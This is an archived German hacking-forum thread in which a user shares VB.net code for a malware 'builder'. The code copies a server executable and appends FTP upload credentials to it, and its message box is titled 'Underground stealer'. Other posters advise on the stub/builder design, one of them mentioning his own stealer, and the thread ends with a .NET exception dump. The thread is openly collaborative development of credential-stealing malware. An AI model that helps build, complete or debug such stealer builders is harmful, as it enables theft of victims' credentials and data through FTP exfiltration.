PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : (Vb.net)Server builder ohne Stub



sunny-boy3
10.07.2009, 12:59
Hallo ich habe mal wieder eine frage ich kenne bei einen server builder die variante mit der stub nur möchte ich jetzt einen Server builder erstellen in der ich keine stub verwende (Bedeutet ich erstelle 2 projekte Projekt 1: Builder
Projekt 2: Server nun möchte ich den server als resource in mein builder einbinden was auch so ganz gut leuft )
ich möchte jetzt wen ich den builder compile und etwas in den builder eingee das dieser es direkt an meinen server weitergibt und diesen erstellt

meine code für den builder sehen derzeit folgende maßen aus:
Imports Microsoft.VisualBasic.Compatibility

With SaveFileDialog1
.Filter = "Ausführbare Dateien(*.exe)|*.exe"
.FileName = "Server.exe"
.CheckPathExists = True

End With
If (SaveFileDialog1.ShowDialog = Windows.Forms.DialogResult.Cancel) Then

Exit Sub
End If
File.Copy(My.Application.Info.DirectoryPath + "\Server.exe", SaveFileDialog.FileName)
Dim Trennzeichen As Char = "_"

Dim Settings As New VB6.FixedLengthString(100)
Settings.Value = Ftp_Pfad.Text + Trennzeichen + Ftp_Url.Text + Trennzeichen + Ftp_User.Text + Trennzeichen + Ftp_Pass.Text
FileOpen(1, (SaveFileDialog.FileName), OpenMode.Binary)
FilePut(1, Settings.Value, LOF(1) + 1)
FileClose(1)
MessageBox.Show("Server wurde Gebuildet", "Underground stealer", MessageBoxButtons.OK, MessageBoxIcon.Information)

Ist das jetzt soweit richtig???

wie übergebe ich dies jetzt direkt an meiner eingebundenen serverexe resource

(Ich möchte das ganze ohne Sub machen)

I(ch bedanke mich schonml im voraus für eure hilfe

inmate
10.07.2009, 13:28
Das ist woweit alles richtig aber


.Filter = "Ausführbare Dateien(*.exe)|*.exe*"
;)

Aber das wird glaube ich nicht klappen.Sonst hätte ja jeder andere den Builder auch so gemacht.Das mit den Ressourcen geht eigentlich easy, ich verwende die Methode auch bein einem meiner Stealer aber ich muss trotzdem eine Stub dafür haben ;) ,da die Stub die informationen aus sich selber nochmal auslesen muss und dass geht alleine mit dem Builder nicht ;).

also pls verbessern wenn ich mist erzähl ^^.
mfG

DarkFire
10.07.2009, 13:34
Lad die Stub als Ressource in deinen Builder und beim "builden" droppst du sie einfach... wenn die .exe dann erstellt ist kann du die Stub ja wieder löschen :)

hackerking
10.07.2009, 13:45
Da gibt es aber dann trotzdem eine Stub...
Ohne Stub ginge es nur, wenn du den Server dynamisch mit einem CodeProvider in der Stub compilest...

sunny-boy3
10.07.2009, 15:25
Da gibt es aber dann trotzdem eine Stub...
Ohne Stub ginge es nur, wenn du den Server dynamisch mit einem CodeProvider in der Stub compilest...

Also muß ich mir zu den builder ne stub coden der mir eine exe bastelt?

hackerking
10.07.2009, 15:39
mit codeprovider nicht, da dort der builder direkt compilet ohne stub...

sunny-boy3
10.07.2009, 16:16
mit codeprovider nicht, da dort der builder direkt compilet ohne stub...

Vielen dank für eure schnellen antworten

inmate
10.07.2009, 16:21
Also muß ich mir zu den builder ne stub coden der mir eine exe bastelt?Richtig.

Das sollte dir helfen
http://free-hack.com/showthread.php?t=39765

mfG

sunny-boy3
10.07.2009, 16:32
Hab nen Problem habe mir gerade die stub gebastelt in inklusive des builders ich kann mir jetzt eine server.exe builden nur wen ich diese öffne bekomme ich immer einen Fehler vllt kennt sich jemande mit den fehler aus habe alles feddisch nur wen ich den server starte kommt diese fehlermeldung:


Informationen über das Aufrufen von JIT-Debuggen
anstelle dieses Dialogfelds finden Sie am Ende dieser Meldung.

************** Ausnahmetext **************
System.NullReferenceException: Der Objektverweis wurde nicht auf eine Objektinstanz festgelegt.
bei Stub.Form1.Btn_1_Click(Object sender, EventArgs e)
bei System.Windows.Forms.Control.OnClick(EventArgs e)
bei System.Windows.Forms.Button.OnMouseUp(MouseEventAr gs mevent)
bei System.Windows.Forms.Control.WmMouseUp(Message& m, MouseButtons button, Int32 clicks)
bei System.Windows.Forms.Control.WndProc(Message& m)
bei System.Windows.Forms.ButtonBase.WndProc(Message& m)
bei System.Windows.Forms.Button.WndProc(Message& m)
bei System.Windows.Forms.Control.ControlNativeWindow.W ndProc(Message& m)
bei System.Windows.Forms.NativeWindow.Callback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam)


************** Geladene Assemblys **************
mscorlib
Assembly-Version: 2.0.0.0.
Win32-Version: 2.0.50727.3053 (netfxsp.050727-3000).
CodeBase: file:///C:/WINDOWS/Microsoft.NET/Framework64/v2.0.50727/mscorlib.dll.
----------------------------------------
Stub
Assembly-Version: 1.0.0.0.
Win32-Version: 1.0.0.0.
CodeBase: file:///C:/Documents%20and%20Settings/Administrator/Desktop/Server.exe.
----------------------------------------
Microsoft.VisualBasic
Assembly-Version: 8.0.0.0.
Win32-Version: 8.0.50727.3053 (netfxsp.050727-3000).
CodeBase: file:///C:/WINDOWS/assembly/GAC_MSIL/Microsoft.VisualBasic/8.0.0.0__b03f5f7f11d50a3a/Microsoft.VisualBasic.dll.
----------------------------------------
System
Assembly-Version: 2.0.0.0.
Win32-Version: 2.0.50727.3053 (netfxsp.050727-3000).
CodeBase: file:///C:/WINDOWS/assembly/GAC_MSIL/System/2.0.0.0__b77a5c561934e089/System.dll.
----------------------------------------
System.Windows.Forms
Assembly-Version: 2.0.0.0.
Win32-Version: 2.0.50727.3053 (netfxsp.050727-3000).
CodeBase: file:///C:/WINDOWS/assembly/GAC_MSIL/System.Windows.Forms/2.0.0.0__b77a5c561934e089/System.Windows.Forms.dll.
----------------------------------------
System.Drawing
Assembly-Version: 2.0.0.0.
Win32-Version: 2.0.50727.3053 (netfxsp.050727-3000).
CodeBase: file:///C:/WINDOWS/assembly/GAC_MSIL/System.Drawing/2.0.0.0__b03f5f7f11d50a3a/System.Drawing.dll.
----------------------------------------
System.Runtime.Remoting
Assembly-Version: 2.0.0.0.
Win32-Version: 2.0.50727.3053 (netfxsp.050727-3000).
CodeBase: file:///C:/WINDOWS/assembly/GAC_MSIL/System.Runtime.Remoting/2.0.0.0__b77a5c561934e089/System.Runtime.Remoting.dll.
----------------------------------------
Microsoft.VisualBasic.Compatibility
Assembly-Version: 8.0.0.0.
Win32-Version: 8.0.50727.3053.
CodeBase: file:///C:/WINDOWS/assembly/GAC_MSIL/Microsoft.VisualBasic.Compatibility/8.0.0.0__b03f5f7f11d50a3a/Microsoft.VisualBasic.Compatibility.dll.
----------------------------------------
System.Xml
Assembly-Version: 2.0.0.0.
Win32-Version: 2.0.50727.3053 (netfxsp.050727-3000).
CodeBase: file:///C:/WINDOWS/assembly/GAC_MSIL/System.Xml/2.0.0.0__b77a5c561934e089/System.Xml.dll.
----------------------------------------
mscorlib.resources
Assembly-Version: 2.0.0.0.
Win32-Version: 2.0.50727.3053 (netfxsp.050727-3000).
CodeBase: file:///C:/WINDOWS/Microsoft.NET/Framework64/v2.0.50727/mscorlib.dll.
----------------------------------------
System.Windows.Forms.resources
Assembly-Version: 2.0.0.0.
Win32-Version: 2.0.50727.3051 (netfxsp.050727-3000).
CodeBase: file:///C:/WINDOWS/assembly/GAC_MSIL/System.Windows.Forms.resources/2.0.0.0_de_b77a5c561934e089/System.Windows.Forms.resources.dll.
----------------------------------------
System.Web
Assembly-Version: 2.0.0.0.
Win32-Version: 2.0.50727.3053 (netfxsp.050727-3000).
CodeBase: file:///C:/WINDOWS/assembly/GAC_64/System.Web/2.0.0.0__b03f5f7f11d50a3a/System.Web.dll.
----------------------------------------

************** JIT-Debuggen **************
Um das JIT-Debuggen (Just-In-Time) zu aktivieren, muss in der
Konfigurationsdatei der Anwendung oder des Computers
(machine.config) der jitDebugging-Wert im Abschnitt system.windows.forms festgelegt werden.
Die Anwendung muss mit aktiviertem Debuggen kompiliert werden.

Zum Beispiel:

<configuration>
<system.windows.forms jitDebugging="true" />
</configuration>

Wenn das JIT-Debuggen aktiviert ist, werden alle nicht behandelten
Ausnahmen an den JIT-Debugger gesendet, der auf dem
Computer registriert ist, und nicht in diesem Dialogfeld behandelt.

Ancient87
10.07.2009, 16:54
Du hast eine Referenz of ein Objekt definiert diese zeigt allerdings nicht auf eine SpeicherAdresse eines Objektes der vorgegeben Types wenn du jetzt versuchst das zu accessen worauf die Referenz "pointed" gibts nen Error. Setz paar breakpoints und step dich bis zum Error durch bzw stelle sicher das deine Referenz initialisiert / assigned wird. Ohne code

Ohne code wirds schwer dir zu helfen.

sunny-boy3
10.07.2009, 17:01
ok